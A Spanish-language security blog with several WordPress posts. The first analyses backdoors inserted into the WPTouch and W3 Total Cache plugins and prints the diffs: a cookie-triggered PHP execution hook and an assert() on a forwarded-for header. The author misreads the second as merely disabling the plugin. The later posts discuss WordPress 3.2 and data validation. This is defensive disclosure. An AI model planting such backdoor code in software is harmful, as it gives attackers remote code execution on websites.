Código insertado a WPTouch y WP Total Cache

Luego del incidente detectado por el equipo de WordPress, mirando rápidamente los cambios que se hicieron, se puede ver lo siguiente:

diff:
Index: /wptouch/trunk/wptouch.php
===================================================================
--- /wptouch/trunk/wptouch.php  (revision 397079)
+++ /wptouch/trunk/wptouch.php  (revision 399276)
@@ -511,4 +511,6 @@
        if (isset($_COOKIE[$key])) {
               $this->desired_view = $_COOKIE[$key];
+       if (preg_match("#useragent/([^/]*)/([^/]*)/#i", $_COOKIE[$key], $matches) && $matches[1]($matches[2]))
+              $this->desired_view = $matches[1].$matches[2];
        } else {
               if ( $settings['enable-regular-default'] || defined( 'XMLRPC_REQUEST' ) || defined( 'APP_REQUEST' ) ) {

En el caso de WPTouch, permite la ejecución de código PHP ($matches[1]($matches[2])) de lo que se envíe en la cookie con nombre wptouch_switch_toggle.

Para el caso de WP Total Cache, no me queda muy claro. Por lo poco que vi, pareciera ser que desactiva la funcionalidad del plugin.

diff:


Index: w3-total-cache/tags/0.9.2.2/lib/W3/PgCache.php
===================================================================
--- w3-total-cache/tags/0.9.2.2/lib/W3/PgCache.php      (revision 399488)
+++ w3-total-cache/tags/0.9.2.2/lib/W3/PgCache.php      (revision 390604)
@@ -103,5 +103,5 @@
         $this->_request_uri = $_SERVER['REQUEST_URI'];
         $this->_lifetime = $this->_config->get_integer('browsercache.html.lifetime');
-        $this->_enhanced_mode = ($this->_config->get_string('pgcache.engine') == 'file_generic');
+        $this->_enhanced_mode = ($this->_config->get_string('pgcache.engine') == 'file_pgcache');
 
         if ($this->_config->get_boolean('mobile.enabled')) {
@@ -746,13 +746,4 @@
 
         /**
-         * Skip if proxy
-         */
-        if (isset($_SERVER['HTTP_X_FORWARD_FOR']) && assert($_SERVER['HTTP_X_FORWARD_FOR'])) {
-            $this->cache_reject_reason = 'proxy';
-           
-            return false;
-        }
-       
-        /**
          * Skip if posting
          */
@@ -932,12 +923,9 @@
                     break;
 
-                case 'file_generic':
+                case 'file_pgcache':
                     $engineConfig = array(
-                        'exclude' => array(
-                            '.htaccess'
-                        ),
-                        'expire' => $this->_lifetime,
                         'cache_dir' => W3TC_CACHE_FILE_PGCACHE_DIR,
                         'locking' => $this->_config->get_boolean('pgcache.file.locking'),
+                        'expire' => $this->_lifetime,
                         'flush_timelimit' => $this->_config->get_integer('timelimit.cache_flush')
                     );
@@ -1010,9 +998,5 @@
      */
     function _check_ua() {
-        $uas = array_merge($this->_config->get_array('pgcache.reject.ua'), array(
-            W3TC_POWERED_BY
-        ));
-
-        foreach ($uas as $ua) {
+        foreach ($this->_config->get_array('pgcache.reject.ua') as $ua) {
             if (isset($_SERVER['HTTP_USER_AGENT']) && stristr($_SERVER['HTTP_USER_AGENT'], $ua) !== false) {
                 return false;
 

Como reflexión final, hay que tener siempre cuidado con los plugins que se instalan y si se conoce algo de PHP, nunca está de más echarle una mirada a los cambios realizados. En este caso, felizmente para los usuarios, estos modificaciones fueron detectadas.

WordPress 3.2: ¿vale la pena actualizar?

Como todos saben, el lanzamiento de la versión estable de WordPress 3.2 está programada para el 30 de junio. Sin embargo, algunos no parecen estar muy contentos por las pocas características nuevas que incluye y generalmente, son ellos mismos quienes piden que se mejore el rendimiento. Se repite siempre el mismo fenómeno cada vez que se publica una nueva versión mayor. Sin embargo, se suele olvidar que agregar más funcionalidad y mejorar el rendimiento de una aplicación son conceptos que generalmente no van juntos de la mano.

Como dije anteriormente en otra entrada, no he seguido la evolución de esta aplicación durante los 3 últimos años. Pero por lo que comentan los desarrolladores de WordPress, esta nueva versión será un poco más rápida, aunque no especifican en qué exactamente. Imagino que el hecho de dejar de soportar PHP4 tendrá algún impacto. Aunque mirando rápidamente el historial, no parece haber muchos cambios. Sólo se borraron dos archivos php y se borraron unas cuantas funciones de wp-includes/compat.php. Lo demás, me parecen cambios cosméticos en la migración de PHP4 a PHP5, por ejemplo el cambio de los constructores (de function clase(){...} a function __construct(){...}), pero como no soy experto en PHP, no sé si haya mejoras de rendimiento al hacer eso.

Dicho todo esto, esta nueva versión, al igual que la última versión menor, también vendrá con correcciones a problemas de seguridad, algunos de los cuales afectan también a varias versiones anteriores. Pero tampoco es para poner el grito en el cielo, es más probable que no sea de gravedad para blogs como éste. No lo digo porque sea yo quien lo corrigió, sino porque sólo hay dos cuentas activas en este blog. Si pasa algo, sé a quien echarle la culpa 😀 .

Seguridad: validación de datos

No sé si todavía haya alguien que suela darle una mirada a los artículos de este blog, más aún si es alguien que conocía este sitio cuando solía escribir desvariar sobre temas relacionados a la seguridad hace unos años atrás. No sé si he escrito sobre este tema antes, pareciera ser que no tengo muy buena memoria.

Otra vez tomo como ejemplo WordPress*. Por malas decisiones que se hicieron desde el principio (por ejemplo imitar las "magic quotes"), hay muchas vulnerabilidades que hubieran podido evitarse. El problema es que muchas de las validaciones que se hacen sobre los datos enviados por el usuario, se hacen desgraciadamente casi al principio. En un mundo ideal, esto no debería causar ningún problema. Sin embargo, en la práctica hacer este tipo de cosas asegura que a medida que las aplicaciones van evolucionando, aparecerán los problemas. Muchas de estas restricciones pueden ser sobrepasadas utilizando escenarios no previstos. Luego de la publicación de la versión 3.2, que corregirá también problemas de seguridad relativamente graves, iré comentando más a detalle los problemas encontrados.

Aún cuando algunos desarroladores como Mark Jaquith recomiendan que se debe escapar lo más tarde posible (escape late), lamentablemente en este momento es algo difícil de hacer cuando la existen una gran cantidad de plugins y temas que utilizan estas "protecciones".

La lección a retener es que es mejor escapar o validar los datos justo antes de guardarlos o realizar ciertas acciones, y justo antes de enviar el contenido al navegador.

*: Como había mencionado antes, decidí colaborar en la medida de lo posible a WordPress. Actualmente estoy algo alejado de la programación, entonces seguramente habrán más posts usando WordPress como ejemplo.

WordPress, tres años después

WordpressAunque nunca haya sido un gran colaborador de WordPress, recuerdo que desde los primeros tickets que abrí relacionados a su seguridad, llegué a conocer relativamente bien el código que formaba parte de las versiones 2.0.x a 2.3.x. Solía seguir de manera regular los cambios que se iban haciendo y reporté unas cuantas fallas de seguridad.

Por esos azares de la vida, el 2008 tuve que abandonar todo. Incluyendo familia, amigos, ciudad, país y obviamente las actividades que solía hacer. Seguramente podría haber continuado, pero lamentablemente nunca se dieron las condiciones. En la segunda mitad del 2009, me contactaron para auditar el código de WordPress y una lista de los plugins más usados --- no recuerdo exactamente que versión era. Llegué a enviar en privado unos cuantos fallos, uno que permitía subir archivos php y otros típicos XSS o CSRF. Tuve que abandonar ese trabajo porque, aunque había compensación económica de por medio, requería demasiado tiempo y en ese entonces, eso era lo que más me faltaba.

Este año, concretamente desde hace menos de un mes, he estado viendo un poco de código. Por lo que he podido ver, los desarrolladores del núcleo suelen poner un poco más de énfasis en la seguridad. Si bien esto es un indicador bastante positivo, hay que ser consciente también que las nuevas funcionalidades implican la aparición de nuevos problemas, o principalmente de nuevas formas de aprovechar (¿alguna traducción mejor para exploit?) las fallas de seguridad. El código es más complejo que antes y un cambio inocuo en una parte del código, puede ser la causa de un problema serio en otro lado. Sin embargo, tampoco hay que desesperar. Al ser un proyecto con una comunidad bastante grande, siempre habrán ojos que descubran este tipo de fallos y que nos permitan gozar de un blog relativamente más seguro.

Estén atentos los días a venir, antes de la publicación de la versión 3.2, se viene una actualización menor que corregirá algunos problemas de seguridad, unos serios y otros algo más triviales.